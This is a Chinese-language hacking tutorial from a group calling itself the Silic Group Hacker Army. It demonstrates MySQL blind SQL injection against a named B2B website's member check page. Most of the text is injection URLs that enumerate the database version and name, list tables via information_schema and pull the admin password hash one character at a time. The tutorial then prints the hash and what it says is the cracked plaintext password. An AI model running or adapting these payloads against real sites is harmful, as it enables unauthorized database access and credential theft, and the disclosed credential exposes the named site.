MySQL 盲注最全实例讲

作者：YoCo Smart
来自：Silic Group Hacker Army
网址：http://blackbap.org
本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据，本文出于
讲解的目的，使用更麻烦的盲注。
阅读本文，需要有一点点SQL 基础。盲注理解起来其实非常简单，就是做起来非常费劲
我们先来看注入点，是一个B2B 网站建站公司：
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin

用户名已被注册
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
select userid from demo_b2b_member where user = 'admin''You have an error in your SQL
syntax; check the manual that corresponds to your MySQL server version for the right syntax to
use near ''admin''' at line 1
错误提示已经很明了了。我们看一下注入页面的代码（有删改）：
$js_user = trim($_GET["js_user"]);
if($js_user){
$num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
if(!$num)
echo "<div class=tips3></div>";
else
echo "<div class=tips2>用户名已被注册</div>";
}
以GET 方式取值的变量js_user 虽然没有过滤被直接带入了数据库执行，并且MySQL 也执
行了，但是并没有显示数据库的任何信息，而是判断是否符合
那么我们先从union 的盲注来看吧。
先看版本：
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=
5%23
这个时候我们来看看原来的代码中的SQL 语句是怎么执行的：
select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'
因为执行成功，所以不符合if(!$num)这个条件，回显“用户名已被注册”，那么版本为5
成立
再来看database()的数据：
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database()
)=6%23
database()长度6
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)
='l'%23
l
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)
='li'%23
li
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)
='lic'%23
lic
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)
='licl'%23
licl
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)
='licln'%23
licln
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)

='liclny'%23
licclny
length()函数是计算括号中数据的长度，回显为纯数字，可以用大于小于和等于号来判断是
否正确。
这里要注意看一下left()函数中的数字变化，关于left()函数，可以自行参考MySQL 手册。
再来看一点简单的判断句：
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%
23
select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'
这个时候length()函数中的pass 是猜测的，当然是建立在猜测正确的基础上。
这里要说的是，pass 和前面select 后的userid 同属一个表段demo_b2b_admin，所以不需
要再带select 语句
那么这里就能得到：
这里最后没有'#这个终止符，大家带进去看一下，你们懂得。前开后闭。
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='048
4
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='048
43
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='048
43e
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='048
43e9
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='048
43e9f
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='048
43e9f9
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04
843e9f91
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04
843e9f91a
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04
843e9f91ad
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04
843e9f91adf
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04
843e9f91adf2
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04
843e9f91adf22
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04
843e9f91adf228
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04

843e9f91adf2287
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04
843e9f91adf2287c
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04
843e9f91adf2287c0
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04
843e9f91adf2287c0a
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04
843e9f91adf2287c0af
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04
843e9f91adf2287c0af5
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04
843e9f91adf2287c0af5f
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04
843e9f91adf2287c0af5fe
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04
843e9f91adf2287c0af5fe1
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04
843e9f91adf2287c0af5fe16
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04
843e9f91adf2287c0af5fe167
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04
843e9f91adf2287c0af5fe1675
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04
843e9f91adf2287c0af5fe16750
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04
843e9f91adf2287c0af5fe16750a
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04
843e9f91adf2287c0af5fe16750a3
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04
843e9f91adf2287c0af5fe16750a35
长度是32，是md5 加密，解密得到lcl2wly
这样，猜数据的方法你肯定是懂了
最后，我们来看demo_b2b_admin 以外的数据，现在再来猜表段：
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+ta
ble_name+from+information_schema.tables+limit+0,1))<100%23
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+ta
ble_name+from+information_schema.tables+limit+0,1))=14%23
实际运行的SQL 语句就是：
select userid from demo_b2b_member where user = 'admin'and length((select table_name from
information_schema.tables limit 0,1))=14#'
上面这个语句，对于information_schema 不明白的，可以参考其他MySQL 注入文章来看一
下这个库的意义。
关于limit x,y 的用法，可以参考MySQL 手册

最后剩下的要说的就是ascii 函数和hex 函数了
这两个函数的意义是避开php 的GPC 转义，例如：
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1
),1,1)=char(48)%23
select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#
substr()的用法可以参考MySQL 手册，如果不懂，就这样套好了。Char()里面的数字替换为
ascii 码数字
（全文完）责任编辑：梵幻